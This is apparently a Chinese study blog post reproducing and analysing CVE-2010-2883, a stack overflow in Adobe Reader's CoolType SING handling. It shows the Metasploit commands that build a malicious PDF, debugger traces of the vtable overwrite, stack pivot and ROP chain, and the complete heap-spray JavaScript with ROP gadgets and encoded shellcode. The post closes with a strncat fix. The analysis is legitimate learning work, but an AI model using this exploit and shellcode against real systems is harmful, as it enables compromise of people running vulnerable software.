打ctf打久了,也该学学漏洞分析了,不可能以后的工作就是打ctf吧,照着漏洞战争这本书开始学习吧
vmware 自己下吧
工具:
配好环境后 开始动工
先生成一个弹calc的吧
search adobe_cooltype_sing use exploit/windows/fileformat/adobe_cooltype_sing/ set PAYLOAD windows/exec set CMD calc.exe show option set FILENAME cve2010.pdf exploit
放到虚拟机
运行起来
)
如果让我审一个软件的话,这太难了。。光敏感函数都可能有好多吧,比如这里就是strcat,
这个strcat是个敏感函数,让我纯手动审出这个点,我觉得对于现在的我来说不现实,所以,漏洞点这部分直接过了吧,假设已知漏洞点,利用吧
玩惯了ctf, 通常pwn题就是给个exp就可以一把梭,编写exp也是门艺术,那是python语言,现在这个要产生exp,emm,就是用msf这个框架了,我们要生成一个pdf,方便我们利用,所以开始我们的学习旅程吧,学ruby,学js
发觉从头开始构造太难了,直接分析部分代码吧,我看了下pdf构造部分。。好麻烦,所以应该抽丝剥茧,将pdf构造和原理部分分开,
我这边只分析下ROP链过程,因为我只会这部分,pdf构造还不会
至于pdf部分,还是用现成的吧。。还要看官方文档来构造
用ida打开CoolType.dll库(这个库在adobe_reader目录下),搜索SING,定位到这个函数,看到strcat,盲猜也是这里有问题了,
其余具体漏洞战争那本书已经讲了,照着样本分析部分做一遍
010editor可以设置模板解析文件,网上下个模板就行
下载地址
dump出结构数据,查看SING部分
根据ida那里获得的地址下断,
断在这里,
看strcat部分,是将恶意数据复制到ebp所指地点
继续f8单步,单步到这里执行直接弹计算器了,下断再次运行,这里如果弹到7C地址处,可以按减号回退到地址处
0803DDA8 E8 E98DFDFF call CoolType.08016B96
再次运行在
08016C0E E8 C64E0000 call CoolType.0801BAD9
这里跑起来了,继续重复
0801BAF9 FF10 call dword ptr ds:[eax] ; CoolType.0808AFCE
再次重复
最后定位到这里
0808B1C0 FF10 call dword ptr ds:[eax] ; icucnv36.4A80CB38
F7进去
4A80CB38 81C5 94070000 add ebp,0x794
4A80CB3E |. C9 leave
4A80CB3F . C3 retn
发觉进行了栈底的提高,
发觉这个栈迁移到我们原来写入的地方了
也就是说我们控制了eip,从图中还可以看出,这是c++的虚表攻击,覆盖了虚表指针,让他跳转到这里,然后进行了栈迁移
这里在将栈迁移到0x0C0C0C0C部分,很容易联想到heap spray,大概就是将eip转到对去的0x0C0C0C0C部分,然后用js申请大量堆内存,并且包含着slide(滑板)和shellcode的内存片,申请的内存超过200M就可以大于0x0C0C0C0C,然后通过滑板对shellcode无影响,提高shellcode命中执行率
后面继续执行创建临时文件
└──╼ $strings icucnv36.dll|grep iso
iso-ir-165
iso88591
iso2022
这里从库中存的取出任意都行,不一定得iso这个,不过可能这个好找?
然后执行函数,参数都放栈里了
后面的函数同理可得
创建CreateFileMap
接着MapViewOfFile
在接下去memcpy
然后是shellcode
createfilemapping 用来建立内存映象文件,原型如下:
HANDLE CreateFileMapping(
HANDLE hFile, //文件句柄
LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // 可选安全属性
DWORD flProtect, // 映象文件保护方式
DWORD dwMaximumSizeHigh, // 映象文件区域的底值
DWORD dwMaximumSizeLow, // 映象文件区域的顶值
LPCTSTR lpName // 映象文件的名字 );
mapviewoffile用来访问映象文件,该函数会返回一个指向共享内存块的特定指针。原型如下:
LPVOID MapViewOfFile(
HANDLE hFileMappingObject, // 映象文件句柄
DWORD dwDesiredAccess, // 访问方式
DWORD dwFileOffsetHigh, // 映象文件区域的底值
DWORD dwFileOffsetLow, // 映象文件区域的顶值
DWORD dwNumberOfBytesToMap // 映射字节数 );
其中如果 dwNumberOfBytesToMap 是0,表示映射整个文件。
然后在复制shellcode
整个攻击流程就是通过strcat溢出,攻击虚表指针,然后通过ROP,移动到我们的栈位置,在通过栈迁移,移动到0x0C0C0C0C部分(联想到堆喷射),在接着就是通过ROP执行shellcode,整体流程就是这样
动态复现部分就是这样
通过PdfStreamDumper dump出js数据
var kQaZHCkIwASUmfcZmiIDLaVOqfgXDNAZipbOhbFhZFgjkCy = unescape; var xzZCr = kQaZHCkIwASUmfcZmiIDLaVOqfgXDNAZipbOhbFhZFgjkCy( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ud0d9%u74d9%uf424%u295b%ub1c9%ub831%ucdd3%ub89c%u4331%u0318%u1843%uc383%u2fd7%u4469%u2d3f%ub592%u52bf%u501a%u528e%u1078%u62a0%u740a%u084c%u6d5e%u7cc7%u8277%uca60%uada1%u6771%uac91%u7af1%u0ec6%ub4c8%u4e1b%ua80d%u02d6%ua6c6%ub345%uf263%u3855%u123f%uddde%u15f7%u73cf%u4f8c%u72cf%ue441%u6d46%uc186%u0611%ubd7c%ucea3%u3e4d%u2f0f%ucd62%u7751%u2e44%u8124%ud3b7%u563f%u0fca%u4db5%udb6c%uaa6d%u088d%u39eb%ue581%u657f%uf885%u1dac%u71b1%uf253%uc130%ud670%u9119%u4f19%u74c7%u8f25%u29a8%udb83%u3d44%u81be%uc002%ubc4c%uc260%ubf4e%uabd4%u347f%uacbb%u9f7f%u43f8%u82ca%ucba8%u5693%u91e9%u8d23%uac2d%u24a7%u4bcd%u4cb7%u10c8%ubc7f%u09a0%uc2ea%u2917%ua13f%ub9f6%u08a3%u399d%u5541' ); var PtsP = kQaZHCkIwASUmfcZmiIDLaVOqfgXDNAZipbOhbFhZFgjkCy( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (PtsP.length + 20 + 8 < 65536) PtsP+=PtsP; QWajrmiLzGfVTTfDMfHcozfKkXRjoAukOXIOVDKdRSnuHrXJWS = PtsP.substring(0, (0x0c0c-0x24)/2); QWajrmiLzGfVTTfDMfHcozfKkXRjoAukOXIOVDKdRSnuHrXJWS += xzZCr; QWajrmiLzGfVTTfDMfHcozfKkXRjoAukOXIOVDKdRSnuHrXJWS += PtsP; LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF = QWajrmiLzGfVTTfDMfHcozfKkXRjoAukOXIOVDKdRSnuHrXJWS.substring(0, 65536/2); while(LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF.length < 0x80000) LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF += LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF; vYpKSywUKtOzmIcaRAYPqZsGKRQBZeikke = LuOTxdQUPktiTIzXByoIFePyCFwmjoenrmzexhdpiFlxvgiF.substring(0, 0x80000 - (0x1020-0x08) / 2); var kXBj = new Array(); for (bMcIMXywogQMkNripedDmONNHXvwXPnOMatnpKwUSHuATHOcAzuvTnYIGldzmu=0;bMcIMXywogQMkNripedDmONNHXvwXPnOMatnpKwUSHuATHOcAzuvTnYIGldzmu<0x1f0;bMcIMXywogQMkNripedDmONNHXvwXPnOMatnpKwUSHuATHOcAzuvTnYIGldzmu++) kXBj[bMcIMXywogQMkNripedDmONNHXvwXPnOMatnpKwUSHuATHOcAzuvTnYIGldzmu]=vYpKSywUKtOzmIcaRAYPqZsGKRQBZeikke+"s";
emm, msf生成的这个变量命名有点长啊,不过大概还是能看懂的,毕竟这种命名规范逆向都遇到过。。。
将他解成易懂的代码吧
var a = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ud0d9%u74d9%uf424%u295b%ub1c9%ub831%ucdd3%ub89c%u4331%u0318%u1843%uc383%u2fd7%u4469%u2d3f%ub592%u52bf%u501a%u528e%u1078%u62a0%u740a%u084c%u6d5e%u7cc7%u8277%uca60%uada1%u6771%uac91%u7af1%u0ec6%ub4c8%u4e1b%ua80d%u02d6%ua6c6%ub345%uf263%u3855%u123f%uddde%u15f7%u73cf%u4f8c%u72cf%ue441%u6d46%uc186%u0611%ubd7c%ucea3%u3e4d%u2f0f%ucd62%u7751%u2e44%u8124%ud3b7%u563f%u0fca%u4db5%udb6c%uaa6d%u088d%u39eb%ue581%u657f%uf885%u1dac%u71b1%uf253%uc130%ud670%u9119%u4f19%u74c7%u8f25%u29a8%udb83%u3d44%u81be%uc002%ubc4c%uc260%ubf4e%uabd4%u347f%uacbb%u9f7f%u43f8%u82ca%ucba8%u5693%u91e9%u8d23%uac2d%u24a7%u4bcd%u4cb7%u10c8%ubc7f%u09a0%uc2ea%u2917%ua13f%ub9f6%u08a3%u399d%u5541' ); var b = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while(b.length + 20 + 8 < 0x10000) b+=b; c = b.substring(0, (0x0c0c-0x24)/2); c += a; c += b; d = c/substring(0, 0x10000/2); while(d.length < 0x80000) d += d; e = d.substring(0, 0x80000 - (0x1020-0x08)/2); var array = new Array(); for(i=0; i < 0x1f0; i++) array[i] = e + "s"
我这命名规范别喷了。。。我也知道菜。不知道命名成啥
b就是0x0C0C0C0C,滑板来的,代码就是or al,0x0c,这种滑板
emm
顺便分析下吧,
while(b.length + 20 + 8 < 0x10000) b+=b; c = b.substring(0, (0x0c0c-0x24)/2); c += a; c += b;
这部分,就是计算到1/10mb,这里以1/10mb为一个单元块,在减掉结构部分大小,加上shellcode
然后在填充8份
while(d.length < 0x80000) d += d; e = d.substring(0, 0x80000 - (0x1020-0x08)/2);
最后便是关键
for(i=0; i < 0x1f0; i++) array[i] = e + "s"
这里是以0x80000为一个单位块
>>> hex(0x80000*0x1f0) '0xf800000'
所以这里实际上早就超过了0x0C0C0C0C,所以只要ROP迁移到这里,就可以执行shellcode的了
第一个问题,我目前只会找敏感函数,所以暂时放着了
第二个修复部分,用strncat就可以了,带长度的,后面修复就是通过strncat加上动态分配,这样就没有栈溢出了